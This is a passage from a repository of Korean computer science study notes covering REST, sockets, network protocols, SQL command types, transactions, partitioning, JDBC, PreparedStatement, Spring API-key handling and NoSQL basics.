42 | ## REST API
43 |
44 | - REST 기반으로 서비스 API를 구현한 것
45 | - REST가 HTTP를 기반으로 구현되므로, HTTP를 지원하는 프로그램언어라면 무엇이든 클라이언트와 서버를 구현할 수 있다.
46 |
47 | ## RESTful
48 |
49 | - REST의 원리를 따르는 시스템을 RESTful 하다고 지칭할 뿐, 공식적으로 발표된 용어는 아니다
50 | - 이해하기 쉽고, 사용하기 쉬운 REST API를 만드는 것이 목적
51 | - 단, RESTful한 시스템을 만든다고 해도, 모든 기능을 REST하게 만들 필요는 없다
52 | - 예를 들어, 로그인의 경우, DB에서 해당하는 ID와 비밀번호를 가진 유저의 정보를 조회하는 것이니 GET방식을 써야 한다.
53 | - 하지만, GET방식을 사용할 경우, 로그인 정보가 모두 드러나버리는 단점이 존재한다.
54 | - 이러한 경우, REST라 하더라도 POST를 사용하여 기능을 구현하는 것이 옳다
55 | - 또는 로그인 과정은 비즈니스단이 아니므로 REST가 아닌 스프링 시큐리티나 Oauth2를 사용하여 분리설계 할 수도 있다.
56 |
57 | ## 참고 자료
58 |
59 | -
60 |
--------------------------------------------------------------------------------
/네트워크/소켓프로그래밍.md:
--------------------------------------------------------------------------------
1 | # socket programming
2 | ## 1. 소켓(Socket)
3 | 소켓이란 물리적으로 연결된 네트워크 상에서 데이터 송수신에 사용할 수 있는 소프트웨어적 장치를 의미
4 |
5 | ## 2. TCP/IP 소켓 프로그래밍
6 | ### 소켓 API
7 | | 함수 | 설명 |
8 | | --- | ---- |
9 | | bind | IP, PORT 번호 할당 |
10 | | listen | 연결 요청가능 상태로 변경 |
11 | | accept | 연결 요청 수락 |
12 | | connect | 연결 요청 |
13 | | send, recv | 데이터 전송 |
14 | | close | 연결 종료 |
15 |
16 | ## 3. 클라이언트 소켓과 서버 소켓
17 |
18 |
19 | ### 3-1. 클라이언트 소켓
20 | 1. 생성(socket())
21 | - 소켓 통신을 위해서 첫번쨰로 소켓을 생성해야함
22 | - IP/PORT 번호를 지정함
23 |
24 | 2. 연결(connect())
25 | - IP주소와 PORT번호를 target하여 연결 요청을 보냄
26 | - connect()는 block 처리 방식임
27 | - 즉, 연결요청에 대한 결과(성공, 거절, 시간초과 등)가 결정될 때 까지 block함
28 | - 연결이 성공하면 send()와 recv()를 통해 통신할 수 있음
29 |
30 | 3. 데이터 송수신(send()/recv())
31 | - TCP에선 Stream 타입으로 송수신 함
32 | - 크기를 설정하여 송수신 할 수 있음
33 | - send()/recv() 모두 block 처리 방식임
34 |
35 | 4. 종료(close())
36 | - 소켓을 close()메소드 호출을 통해 종료할 수 있음
37 | - 종료된 소켓은 더이상 사용할 수 없고, 데이터 송수신 불가
38 | - 다시 연결하고자 한다면, 생성(socket())과 연결(connect())를 통해야 함
39 |
40 | ### 3-2. 서버 소켓
41 | 1. 생성(socket())
42 | - 클라이언트 소켓과 마찬가지로 최초 서버 소켓을 생성해야 함
43 |
44 | 2. 바인딩(bind())
45 | - IP주소와 PORT번호를 결합하여 생성된 소켓이 해당 IP주소와 PORT번호를 지정함
46 |
47 | 3. 연결 요청 대기(listen())
48 | - 클라이언트의 연결(connect()) 요청을 대기함
49 |
50 | 4. 연결 수립(accept())
51 | - listen한 클라이언트들의 연결을 수립함
52 | - 하나의 클라이언트에 대해 수행함
53 | - 여러 클라이언트를 처리하려면, multithread를 사용해야 함
54 |
55 | 5. 데이터 송수신(send()/recv())
56 | - 클라이언트와 동일
57 |
58 | 6. 종료(close())
59 | - 클라이언트와 동일
60 | - 다만, 연결(accpet)된 client에 대한 처리 필요
61 |
62 |
63 |
64 | ## 4. HTTP 통신과 차이점
65 | - 소켓 프로그래밍은 server와 client가 특정 port를 통해 연결을 유지
66 | - 소켓 프로그래밍은 실시간으로 양뱡향 통신이 가능함
67 | - server도 client에게 요청을 보낼 수 있음
68 | - 계속 연결을 유지하는 연결지향형 방식으로, 실시간 통신이 필요한 경우에 사용됨
69 | - 예) 실시간 동영상 streaming 서비스, 온라인 게임
70 | - Http통신은 client의 요청에 대한 server의 단방향 서버응답형 통신임
71 | - client가 요청한 경우에만 server에 접근하여 응답을 받는 경우에 사용
72 |
73 |
74 | ---
75 | ## 참고
76 | - https://recipes4dev.tistory.com/153
--------------------------------------------------------------------------------
/네트워크/프로토콜.md:
--------------------------------------------------------------------------------
1 | # 프로토콜
2 |
3 | ## 프로토콜이란?
4 |
5 | - 컴퓨터나 원거리 통신 장비 사이에서 메세지를 주고 받는 양식과 규칙 체계 (통신 규약)
6 |
7 | - 신호 송신 순서, 데이터의 표현법, 오류 검출법 등을 정함
8 |
9 |
10 |
11 | ## 프로토콜의 요소
12 |
13 | - 구문(Syntax) : 전송하고자 하는 데이터의 형식(Foramt), 부호화(Coding), 신호 레벨(Signal Level) 등을 규정
14 | - 의미(Semantics) : 오류 제어, 동기 제어, 흐름 제어 같은 각종 제어 절차에 관한 제어 정보 정의
15 | - 순서(Timing) : 송수신자 간 혹은 양단(End-to-End)의 통신 시스템과 망 사이의 통신 속도나 순서를 정의
16 |
17 |
18 |
19 | ## 프로토콜의 주요 기능
20 |
21 | ### 1. 단편화와 재조립(Fragmentation and Reassembly)
22 |
23 | - 단편화(Fragmentation or Segmentation)
24 | - 주어진 데이터를 효율적으로 전송하기 위해 전송가능한 일정 크기의 작은 데이터 블록으로 나누는 것
25 | - 일반적으로 단편화된 데이터 크기가 작을수록 오류 제어를 효율적으로 할 수 있고 네트워크 트래픽이 줄어듬
26 | - 하지만 너무 작게 단편화하면 단편화와 재조립에 시간이 많이 들어 전송 효율이 떨어짐
27 | - 재조립(Reassembly)
28 | - 송신 측에서 단편화하여 보낸 데이터 블록을 수신 측에서 재구성하여 원래의 데이터를 복원하는 과정
29 |
30 |
31 |
32 | ### 2. 캡슐화(Encapsulation)
33 |
34 | - PDU(Protocol Data Unit)은 SDU(Service Data Unit)과 PCI(Protocol Control Information)으로 이루어져 있음
35 |
36 |
59 |
60 | - 데이터에 각종 제어 정보를 담은 헤더(또는 트레일러)를 덧붙이는 것을 캡슐화라고 함
61 |
62 |
63 |
64 | ### 연결 제어(Connection Control)
65 |
66 | - 연결 위주 데이터 전송(가상 회선)과 비연결 데이터 전송(데이터 그램)을 위한 통신로를 개설, 유지, 해제하는 기능
67 |
68 | > 연결 지향형 데이터 전송 : 두 시스템이 데이터 교환시 연결을 설정하는 경우(TCP). 연결 설정, 데이터 전송, 연결 해제 3단계로 구성됨.
69 |
70 | > 비연결 데이터 전송 : 연결을 설정하지 않는 경우(UDP)
71 |
72 |
73 |
74 | ### 오류 제어(Error Control)
75 |
76 | - SDU나 PCI가 잘못되었을 경우 이를 발견하거나 정정하는 기능
77 | - 패리티 비트나 잉여도 검사(CRC)를 통해 발견할 수 있음
78 | - 오류 발생시 재전송을 요구하거나 정정
79 |
80 |
81 |
82 | ### 흐름 제어(Flow Control)
83 |
84 | - 데이터의 전송량, 전송 속도를 제어
85 | - 송수신 개체간 처리 속도 차이를 조정하거나 수신 개체에서 처리할 수 있는 데이터 분량만큼만 송신 개체에 보냄
86 | - 흐름 제어 방법으로 정지-대기 기법과 슬라이딩 윈도우 기법이 있음
87 |
88 |
89 |
90 | ### 동기화(Synchronization)
91 |
92 | - 송수신 객체의 상태(타이머 값, 윈도우 크기 등)를 일치시키는 기능
93 |
94 |
95 |
96 | ### 순서 결정(Sequencing)
97 |
98 | - 송신측이 보내는 데이터 단위를 순서대로 수신측에 전달하는 기능
99 | - 연결 지향형 데이터 전송에만 사용됨
100 |
101 |
102 |
103 | ### 주소 설정(Addressing)
104 |
105 | - 발신지, 수신지의 주소를 부여하는 기능
106 |
107 |
108 |
109 | ### 다중화(Multiplexing)
110 |
111 | - 하나의 통신 선로에서 여러 시스템이 동시에 통신할 수 있는 것
112 |
113 |
114 |
115 | ### 전송 서비스(Transmission Service)
116 |
117 | - 보안, 서비스 등급, 우선 순위 등 추가 서비스를 제공하는 기능
118 |
119 |
120 |
121 | ## 프로토콜의 특징 및 분류
122 |
123 | ### 직접/간접 프로토콜
124 |
125 | - 직접(Direct) 방식 : 2개의 엔티티 사이 직접 정보를 교환
126 | - 간접(Indirect) 방식 : 여러개의 통신 시스템이 하나의 연결 시스템에 연결되어 중간의 교환기가 데이터를 교환해주는 통신
127 |
128 |
129 |
130 | ### 단일체/구조적 프로토콜
131 |
132 | - 단일체(Monolithic) 프로토콜 : 통신에 관한 모든 기능을 하나의 프로토콜이 수행
133 | - 구조적(Structured) 프로토콜 : 통신을 담당하는 프로토콜을 구조적(계층적)으로 나눔
134 |
135 |
136 |
137 | ### 대칭/비대칭 프로토콜
138 |
139 | - 대칭(Symmetric) : 상호 통신을 하는 관계가 대응되는 관계에서 통신
140 | - ex) peer to peer
141 | - 비대칭(Asymmetric) : 서버/클라이언트 관계에서 통신
142 | - ex) HDLC (High-level Data Link Control)
143 |
144 |
145 |
146 | ### 표준/비표준 프로토콜
147 |
148 | - 표준 프로토콜 : 어느 시스템이나 모두 다 사용 가능한 프로토콜
149 | - 비표준 프로토콜 : 특정 시스템이나 특별한 경우에만 사용 가능
150 |
151 |
152 |
153 | ## 프로토콜의 종류
154 |
155 | | 계층 | 프로토콜 |
156 | | ---------------------- | ----------------------------------- |
157 | | 응용(Application) | HTTP, SMTP, FTP, POP3, SNMP, Telnet |
158 | | 표현(Presentation) | SSL, TLS, ASCH, MPEG |
159 | | 세션(Session) | NetBIOS, SAP |
160 | | 전송(Transport) | TCP, UDP |
161 | | 네트워크(Network) | IPv4, IPv6, ICMP, IPSEC, ARP |
162 | | 데이터 링크(Data Link) | RAPA, PPP, Frame Relay, ATM |
163 | | 물리(Physical) | RS232, 100BaseTX, ISDN |
164 |
165 |
166 |
167 | ## 표준화 기구
168 |
169 | - ISO, 국제 표준화 기구
170 | - ITU, 국제 전기 통신 연합
171 | - ANSI, 미국 표준 협회
172 | - EIA, 전자 공업 연맹
173 | - IEEE, 전기 전자 기술자 협회
174 |
175 |
176 |
177 |
178 | 참고
179 |
180 | [프로토콜(Protocol)이란? (or 통신규약)](https://usefultoknow.tistory.com/entry/%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9CProtocol%EC%9D%B4%EB%9E%80-or-%ED%86%B5%EC%8B%A0%EA%B7%9C%EC%95%BD)
181 |
182 | [[Network Basic] 프로토콜의 기능 및 특성](https://cainstorm.com/92)
183 |
184 | [OSI Model Layers and Protocols in Computer Network](https://www.guru99.com/layers-of-osi-model.html#5)
185 |
186 | [network OSI 참조 모델 7계층 정리/ 장단점/ 프로토콜 종류](https://dinae.tistory.com/12)
187 |
188 |
189 |
--------------------------------------------------------------------------------
/데이터베이스/CRUD.md:
--------------------------------------------------------------------------------
1 | # SQL Select
2 |
3 | ## 1. RDBMS & SQL
4 | + Relational Database Management System
5 | + Structured Query Language
6 | + 테이블 기반의 DBMS
7 | + 데이터를 테이블 단위로 관리
8 | + 중복 데이터를 최소화 시킴 (정규화)
9 | + 여러 테이블에 분산되어 있는 데이터 검색시 JOIN 활용
10 | + DDL, DML, DCL, TCL 로 구분
11 |
12 |
13 |
14 | ***
15 | ## 2. DDL
16 | + 데이터 정의어 (Data Definition Language)
17 | + 테이블로부터 데이터 구조를 생성, 변경 제거
18 | + 대상 객체: table, view, index
19 | + CREATE, DROP, ALTER, TRUNCATE
20 | ```SQL
21 | -- CREATE
22 | create database db;
23 | create table tbl ( col1 type1 conditions, ...);
24 | create or replace procedure ( ... );
25 | -- DROP
26 | drop database db;
27 | drop table tbl;
28 | -- ALTER : column 변경, 제약 조건 변경 등
29 | alter table city drop column population;
30 | alter table city add area int null;
31 | alter table city alter column area double null;
32 | -- TRUNCATE
33 | truncate table tbl;
34 | -- DB는 삭제 불가
35 | ```
36 | ```SQL
37 | -- 테이블 구조 확인
38 | desc table_name;
39 | ```
40 |
41 | > DROP vs TRUNCATE
42 | 1. DROP : 테이블 혹은 데이터베이스 자체를 삭제
43 | 2. TRUNCATE : 테이블의 데이터를 삭제 (테이블은 남아있음)
44 |
45 |
46 |
47 | ***
48 | ## 3. DML
49 | + 데이터 조작어 (Data Manipulation Language)
50 | + 테이블의 레코드를 CRUD(Create, Read/Retrive, Update, Delete)
51 | + INSERT, SELECT, UPDATE, DELETE
52 | ```SQL
53 | -- INSERT
54 | INSERT INTO table_name (col1, col2, ...)
55 | VALUES (val1, val2, ...),
56 | (valA, valB, ...),
57 | ...;
58 | ```
59 | ```sql
60 | -- SELECT 기본 구조
61 | SELECT * | {[ALL | DINTINCT] col_name | expression [alias], ... }
62 | FROM table_name
63 | {WHERE conditions [LIKE expression]};
64 | {ORDER BY col_name [(default)ASC | DESC][, col_name2 ...]}
65 |
66 | -- case
67 | select *,
68 | case when population > 1000000 then '대도시'
69 | when population > 200000 then '중도시'
70 | else '소도시'
71 | end '도시구분'
72 | from city
73 | limit 10;
74 | ```
75 | ```sql
76 | -- UPDATE
77 | UPDATE table_name
78 | SET col1 = val1, col2 = val2, ...
79 | [WHERE condition] -- where 절 생략시 모든 레코드 변경
80 | ```
81 | ```SQL
82 | -- DELETE
83 | DELETE FROM table_name
84 | [WHERE condition] -- where 절 생략시 모든 데이터 삭제
85 | ```
86 |
87 |
88 | ***
89 | ## 4. DCL
90 | + 데이터 제어어 (Data Control Language)
91 | + DB, Table의 접근 권한이나 CRUD 권한 정의
92 | + 특정 사용자 별로 권한을 부여하거나 금지
93 | + GRANT, REVOKE
94 | ```SQL
95 | -- GRANT : 권한 부여
96 | grant create user, alter user, drop user
97 | to ssafy with admin option;
98 | -- REVOKE : 권한 해제
99 | revoke create user, alter user, drop user
100 | from ssafy;
101 | ```
102 |
103 |
104 | ***
105 | ## 5. TCL
106 | + 트랜잭션 제어어 (Transaction Control Language)
107 | + Transaction: 데이터 베이스의 논리적 연산 단위
108 | + COMMIT, ROLLBACK
109 |
110 | ```SQL
111 | -- COMMIT : DB에 영구 저장하는 명령어
112 | commit; -- 수행시 하나의 트랜잭션 과정을 종료하는 것.
113 |
114 | -- ROLLBACK : 변경사항 취소 명령어
115 | rollback; -- 수행시 마지막 commit 시점으로 복구
116 |
117 | -- SAVEPOINT : 임시저장
118 | savepoint s1; -- 트랜잭션의 분할
119 | -- rollback to s1;
120 |
--------------------------------------------------------------------------------
/데이터베이스/DB Transaction.md:
--------------------------------------------------------------------------------
1 | # DB Transaction
2 |
3 | ## 개요
4 |
5 | - 트랜잭션이란, 데이터베이스의 상태를 변화시키는 하나의 논리적 기능을 수행하기 위한 작업의 단위를 말한다.
6 | - 여기서 상태를 변화시킨다는 것은 SQL의 질의어를 이용하여 데이터베이스에 접근하는 것을 말한다.
7 | - 작업의 단위란, 사람이 정하는 기준에 따라 한꺼번에 모두 수행되어야 하는 일련의 연산을 뜻한다.
8 | - 예를 들어, A가 B에게서 C라는 물건을 살 경우 이하의 작업을 모두 합쳐 하나의 트랜잭션으로 본다.
9 | 1. A의 계좌에서 지불할 대금만큼 돈을 감소시킨다.
10 | 2. B의 계좌에서 지불한 대금만큼 돈을 증가시킨다.
11 | 3. B의 물자현황에서 판매한 갯수만큼 C물건의 수를 감소시킨다.
12 | 4. A의 물자현황에서 구입한 갯수만큼 C물건의 수를 증가시킨다.
13 | - 이 경우, 1~4의 모든 상황이 정상적으로 끝나야 정상적인 거래로 승인(Commit)되고, 거래 중에 오류가 발생했다면 거래를 시작 전으로 되돌려야 함(Rollback).
14 |
15 | ### Commit과 Rollback
16 |
17 | - Commit: 하나의 트랜잭션이 성공적으로 끝나 데이터베이스가 일관성 있는 상태
18 | - RollBack: 트랜잭션의 처리가 비정상적으로 종료되어 트랜잭션의 원자성이 깨진 상태
19 |
20 | ## 트랜잭션의 특징(ACID)
21 |
22 | ### Atomicity(원자성)
23 |
24 | - 트랜잭션의 연산은 데이터베이스에 모두 반영되거나 아무것도 반영되지 않아야 함
25 | - 시스템에 장애가 발생했더라도 원자성이 깨지면 안되므로, 원래 상태로 복구시키는 기능이 필요
26 |
27 | ### Consistency(일관성)
28 |
29 | - 트랜잭션이 실행을 성공적으로 완료했다면, 일관성 있는 데이터베이스 상태로 변환되어야 함
30 |
31 | ### Isolation(독립성, 격리성)
32 |
33 | - 둘 이상의 트랜잭션이 동시에 병행 실행중이라면, 한 트랜잭션은 다른 트랜잭션의 연산에 끼어들 수 없음
34 | - 단, 격리 수준에 따라 어디까지 허용하는지는 달라짐
35 |
36 | ### Durability(영구성)
37 |
38 | - 트랜잭션이 성공적으로 완료된 후엔, 데이터베이스에 반영된 수행결과가 어떠한 경우에도 손실되어선 안됨
39 | - 시스템에 장애가 발생했더라도 손실되면 안되므로, 원자성과 마찬가지로 원래 상태로 복구시키는 기능이 필요
40 |
41 | ## 트랜잭션의 상태
42 |
43 | 
44 |
45 | ### 활동(Active)
46 |
47 | - 트랜잭션이 수행을 시작하여 현재 수행중인 상태
48 |
49 | ### 부분 완료(Partially Committed)
50 |
51 | - 마지막 연산이 실행된 직후의 상태
52 | - 아직 데이터베이스에 결과가 반영되지는 않음
53 |
54 | ### 완료(Committed)
55 |
56 | - 트랜잭션이 성공적으로 완료된 상태
57 |
58 | ### 실패(Failed)
59 |
60 | - 장애가 발생하여 트랜잭션이 수행이 중단된 상태
61 |
62 | ### 철회(Aborted)
63 |
64 | - Rollback 연산을 실행한 상태
65 |
66 | ## 트랜잭션의 회복기법
67 |
68 | ### Redo(재실행)
69 |
70 | - 가장 최근에 저장된 데이터베이스 복사본을 가져와 로그를 이용해 복사본이 만들어진 이후에 실행된 모든 변경 연산을 재실행하여 장애 발생직전의 상태로 복구
71 | - 전반적인 손상에 대해 사용
72 |
73 | ### Undo(취소)
74 |
75 | - 로그를 이용해 지금까지 실행된 모든 변경 연산을 취소하여 원래 상태로 복구
76 | - 변경중이었거나, 변경된 내용만 신뢰성을 잃은 경우에 사용
77 |
78 | ### Log(로그)
79 |
80 | - 변경 연산이 실행될 때마다 데이터를 변경하기 이전값과 변경된 이후의 값을 별도의 파일에 기록하는 방법
81 |
82 | ### Dump(덤프)
83 |
84 | - 데이터베이스 전체를 다른 저장 장치에 복사하는 방법
85 |
86 | ---
87 |
88 | ## 정보 출처
89 |
90 | - https://brunch.co.kr/@skeks463/27
91 | - https://velog.io/@yu-jin-song/DB-%ED%8A%B8%EB%9E%9C%EC%9E%AD%EC%85%98Transaction
92 |
--------------------------------------------------------------------------------
/데이터베이스/DB 파티셔닝.md:
--------------------------------------------------------------------------------
1 | # DB 파티셔닝(Partitioning)
2 | ## 개요
3 | - VLDB(Very Large DBMS)같은 하나의 커다란 테이블은 용량이 너무 커서 용량과 성능 측면에서 많은 이슈가 발생한다.
4 | - 이를 여러 부분으로 분할 하는 것으로 이러한 이슈들을 해소할 수 있음
5 |
6 | ### 장점
7 | - 특정 Query의 성능을 향상
8 | - 대용량 write를 효율적으로 할 수 있음
9 | - 필요한 데이터만 빠르게 조회 가능
10 | - Full scan시 데이터 접근 범위를 줄여 성능을 향상
11 | - 필요한 테이블에만 접근할 수 있으므로 병렬성 증가
12 | - 물리적으로 나뉘었기 때문에 전체 데이터의 훼손 가능성이 감소함
13 | - 파티션 별로 독립적으로 백업 및 복구 가능
14 | - Disk I/O를 분산하므로 Update 성능 향상
15 | - 큰 테이블들이 제거되어 관리가 쉬워짐
16 |
17 | ### 단점
18 | - table간 join 비용 증가
19 | - 파티셔닝시에 table과 index를 같이 파티셔닝해야만 함
20 |
21 | ## 파티셔닝의 종류
22 | ### 수평 파티셔닝(horizontal partitioning)
23 | - 스키마를 복제한 후, 샤드키를 기준으로 데이터를 나누는 방식
24 | - 예를 들어, index를 기준으로 0~9999번을 하나의 테이블에, 10000~19999번은 또 다른 테이블에 담는 방식을 생각해볼 수 있음
25 | - 또는 사는 지역이 같은 정보를 묶어 하나의 테이블로 만들 수도 있음
26 | - 장점
27 | - 데이터의 갯수가 적어지므로, 성능이 향상된다
28 | - 단점
29 | - 데이터를 찾는 과정이 복잡해지므로, 응답시간(latency)은 증가한다.
30 |
31 | ### 샤딩 (Sharding)
32 | - 수평 파티셔닝한 테이블을 별도의 데이터베이스에 저장하는 방식
33 | - 주로 분산 데이터베이스 시스템에서 사용하는 용어
34 | - 하나의 서버가 고장나면 데이터의 무결성이 깨질 수 있다.
35 |
36 | ### 수직 파티셔닝(Vertical partitioning)
37 | - 테이블의 일부 열을 다른 테이블로 분리하는 방식
38 | - 이미 정규화된 데이터를 분리한다는 점에서 정규화와 차이가 있다
39 | - 장점
40 | - 자주 사용하는 컬럼을 분리할 경우, 성능을 향상시킬 수 있다.
41 | - select 문의 실행시 불필요한 컬럼까지 받아오면 기존에 비해 메모리 소모량이 감소한다.
42 | - 데이터의 압축률을 높일 수 있다.
43 | - 단점
44 | - 유지보수가 어려워짐
45 | - 전체 데이터를 조회시엔 작업이 복잡해지고, latency가 증가함
46 |
47 | ## 파티셔닝의 분할 기준
48 | ### 범위 분할(range partitioning)
49 | - 특정 컬럼의 정렬된 값을 기준으로 분할하는 방식
50 | - 관리가 용이하며, 이력데이터에 적합함
51 | - 범위 안에 포함되는 데이터의 양이 일정하지 않다면, 특정 파티션에 데이터가 편중될 수 있음
52 |
53 | ### 해시 분할(hash partitioning)
54 | - 파티션 키를 해시시켜서 그 결과로 레코드를 나누는 방식
55 | - null값은 첫번쨰 파티션에 위치함
56 | - 데이터 분포가 고른 컬럼을 기준으로 해야 효과적
57 | - 사용자가 매핑을 제어할 수 없음
58 |
59 | ### 목록 분할(list partitioning)
60 | - 고정된 키 값을 기준으로 데이터를 분할 (예: 국가명)
61 | - 사용자의 명시적 매핑 가능
62 |
63 | ### 합성 분할(Composition partitioning)
64 | - 위의 3가지 기술을 결합하여 분할하는 것
65 | - 복합적인 성격을 지닌 데이터의 분할에 용이
66 | - 병렬 DML 작업에 적합
67 | - 파티션의 갯수나 너무 많아지고, 인덱스의 경합이 너무 심해지는 단점이 존재
68 |
69 | ---
70 |
71 | ## 참고 자료
72 | - https://code-lab1.tistory.com/202
73 | - https://gmlwjd9405.github.io/2018/09/24/db-partitioning.html
74 | - https://coding-factory.tistory.com/840
--------------------------------------------------------------------------------
/데이터베이스/DB개발상식.md:
--------------------------------------------------------------------------------
1 | # DB 개발간 SQL 성능 및 API KEY 보안
2 |
3 | ## Statement vs. PreparedStatement
4 | - SQL을 실행할 수 있도록 하는 객체
5 |
6 | ## Statement
7 | ```java
8 | String sql = "SELECT name, memo FROM TABLE WHERE name =" + num
9 | Statement stmt = conn.createStatement();
10 | ResultSet rst = stmt.executeQuery(sql);
11 | ```
12 | 1. sql 구문
13 | 2. Connection 에서 createStatement() 메서드로 Statement 객체 생성
14 | 3. Statement객체의 executeQuery() 함수를 통해 쿼리문 실행
15 | 4. 실행 결과로 ResultSet 반환
16 |
17 | ## PreparedStatement
18 | ```java
19 | String sql = "SELECT name, memo FROM TABLE WHERE user_id = ?"
20 | PreparedStatement pstmt = conn.preparedStatement(sql);
21 | pstmt.setInt(1, userId);
22 | ResultSet rst = stmt.executeQuery();
23 | ```
24 | - Statement와 동일한 절차
25 | - Statement와 다르게, 처음 컴파일 된 이후로 컴파일 하지 않고 실행하여 속도가 빠름
26 | - 특수문자를 파싱하여 sql injection 같은 공격을 막을 수 있음
27 |
28 |
29 |
30 | # API KEY 숨기기
31 | - 내 시스템을 배포할 때, API를 사용한다면, API key를 발급받고 사용함
32 | - API service 사용 시 과금, 개인정보 노출 등 보안 이슈 발생
33 |
34 | ## Spring 에서 API KEY 숨기기
35 | 1. application-API-KEY.properties 생성
36 | 2. key = value 형식으로 저장
37 | ```
38 | kakao_-_admin_-_key = "ABCD1234"
39 | google_api_key = "AI12Kjs23"
40 | ```
41 | 3. application.properties에 API-KEY를 include
42 | ```
43 | spring.profiles.inlcude=API-KEY
44 | ```
45 | 4. Git을 사용한다면 .gitignore에 properties파일 추가
46 | 5. 코드에서 @Value annotation 을 사용하여 API key 사용
47 | ```java
48 | import org.springframework.beans.factory.annotation.Value;
49 |
50 | public class KaKaoPayService {
51 | ...
52 | @Value("${kakao-admin-key}")
53 | private String kakao_admin_key;
54 |
55 | public String kakaoPayReady(Long orderId) {
56 |
57 | HttpHeaders headers = new HttpHeaders();
58 | headers.add("Authorization", "KakaoAK " + kakao_admin_key);
59 |
60 | /* ~~ */
61 | }
62 | }
63 | ```
64 |
--------------------------------------------------------------------------------
/데이터베이스/JDBC.md:
--------------------------------------------------------------------------------
1 | # JDBC
2 |
3 | ## JDBC란?
4 | - Java DataBase Connectivity
5 | - 데이터베이스에 종속적이지 않은 자바 표준 API
6 |
7 |
8 |
9 | ## JDBC를 사용하는 이유
10 | - 여러 DB를 사용하기 위해서는 개발자가 각각의 사용법을 익혀야함
11 | - 각 DB의 제공사에게 JDBC의 인터페이스를 구현한 드라이버를 요구함으로써 개발이 용이해짐
12 | - JDBC 사용법만 익히면 여러 DB를 다룰 수 있음
13 |
14 |
15 |
16 | ## PreparedStatement VS Statement
17 |
18 | ### MySQL 쿼리 처리 절차
19 | 1. 구문 오류 체크
20 | 2. 공유 영역에서 해당 구문 검색
21 | 3. 권한 체크
22 | 4. 실행 계획 수립
23 | 5. 실행 계획 공유 영역에 저장
24 | 6. 쿼리 실행
25 |
26 | ### 두 Statement의 차이점
27 |
28 |
29 |
PreparedStatement
30 |
Statement
31 |
32 |
33 |
공통점
34 |
SQL문을 실행할 수 있는 객체
35 |
36 |
37 |
차이점
38 |
캐싱 사용
39 |
캐싱 미사용
40 |
41 |
42 |
43 | - 캐싱 미사용시 1번 ~ 6번 실행 (Hard Parsing)
44 | - 캐싱을 사용시 2번에서 동일 구문을 찾게되고, 6번으로 건너뜀 (Soft Parsing)
45 | - 이로 인해 자주 사용되는 구문을 캐싱했을 때 성능이 향상됨
46 | - 캐싱 용량에 한계가 있기 때문에 모든 구문을 PreparedStatement로 만들 수는 없음
47 | - 따라서 대부분의 경우 치환 변수(?)를 사용해 SQL구문을 일반화하여 사용함
48 |
49 | ## ORM이란?
50 | - JDBC 덕분에 DB 변경시 DB연결을 다루는 문법을 수정하지 않아도 됨
51 | - But, SQL은 여전히 DB마다 전부 다르므로 여전히 변경해야함
52 | - DB에서 가져온 데이터를 프로그램에서 사용할 수 있도록 **객체와 매핑**해주는 기술
53 | - ResultSet같은 고정된 타입으로 받아와 개발자가 일일히 파싱할 필요가 없어짐
54 | - 선언문, 할당, 종료같은 부수적인 코드를 작성할 필요가 없어짐
55 | - SQLMapper라는 비슷한 역할을 하는 기술이 있고, myBatis가 대표적
56 |
57 |
58 |
59 | ## JPA란?
60 | - Java에서 ORM을 구현하기 위해 등장한 API
61 | - Java Persistence API
62 | - hibernate, spring-data-jpa가 대표적인 JPA 구현체
63 |
64 |
65 |
66 |
67 |
--------------------------------------------------------------------------------
/데이터베이스/NoSQL.md:
--------------------------------------------------------------------------------
1 | # NoSQL
2 | ## NoSQL이란?
3 | - Not Only SQL
4 | - Non-Relational Database
5 | - 스키마도 없고, 관계도 없음
6 | - 여러 데이터 모델(key-value, document, graph, ...)로 데이터를 저장함
7 |
8 | ## SQL vs NoSQL
9 |
10 | | | SQL | NoSQL |
11 | |--------|--------|--------------|
12 | | 데이터 단위 | table | various |
13 | | 조인 | 존재 | 존재하지 않음 |
14 | | 확장 | 수직적 | 수평적 |
15 | | 유연성 | 덜 유연함 | 유연함 |
16 | | 무결성 | 무결성 보장 | 데이터 중복 처리 필요 |
17 |
18 | ## 선택 가이드
19 | - 관계를 맺고 있는 데이터가 자주 변경되는 경우: SQL
20 | - 명확한 스키마가 사용자와 데이터에게 중요한 경우: SQL
21 | - 정확한 데이터 구조를 알 수 없는 경우: NoSQL
22 | - 연산이 읽기 위주로 발생하며, 변경이 자주 없는 경우: NoSQL
23 | - 막대한 양의 데이터를 다뤄 수평적 확장이 필요한 경우: NoSQL
24 |
25 | ## 대표 NoSQL 서비스
26 | 1. MongoDB
27 | - Document-oriented 데이터베이스
28 | - JSON과 유사한 BSON(Binary JSON) 형식으로 데이터를 저장
29 | - 수평 확장이 용이하고 복제 기능도 제공
30 | ```mongodb-json
31 | {
32 | "product_id": "001",
33 | "product_name": "Apple iPhone 13",
34 | "category": "Mobile Phones",
35 | "price": 1099.00,
36 | "colors": ["White", "Black", "Blue", "Red"],
37 | "specs": {
38 | "display": "6.1 inches, 1170 x 2532 pixels",
39 | "camera": "12 MP, f/1.6, 26mm (wide), 1.7µm, dual pixel PDAF, sensor-shift OIS",
40 | "battery": "Non-removable Li-Ion 3200 mAh battery"
41 | }
42 | }
43 | ```
44 |
45 | 2. Redis
46 | - In-memory 데이터 구조 저장소
47 | - 데이터를 메모리에 저장하여 빠른 속도를 보장
48 | - 캐싱, 세션 관리, 메시지 브로커 등으로 사용
49 | ```redis
50 | {
51 | "product_id_001": "{\"product_name\":\"iPhone 13 Pro Max\",\"category\":\"Smartphones\",\"price\":1099.99,\"colors\":[\"Graphite\",\"Gold\",\"Silver\",\"Sierra Blue\"],\"specs\":{\"display\":\"6.7 inches, Super Retina XDR OLED, 120Hz, HDR10, Dolby Vision\",\"processor\":\"A15 Bionic, 5-nanometer process\",\"camera\":\"12 MP, f/1.5, 26mm (wide), 12 MP, f/2.8, 77mm (telephoto), 12 MP, f/1.8, 13mm (ultrawide), TOF 3D LiDAR scanner (depth)\",\"battery\":\"Li-Ion 4352 mAh, non-removable\"}}",
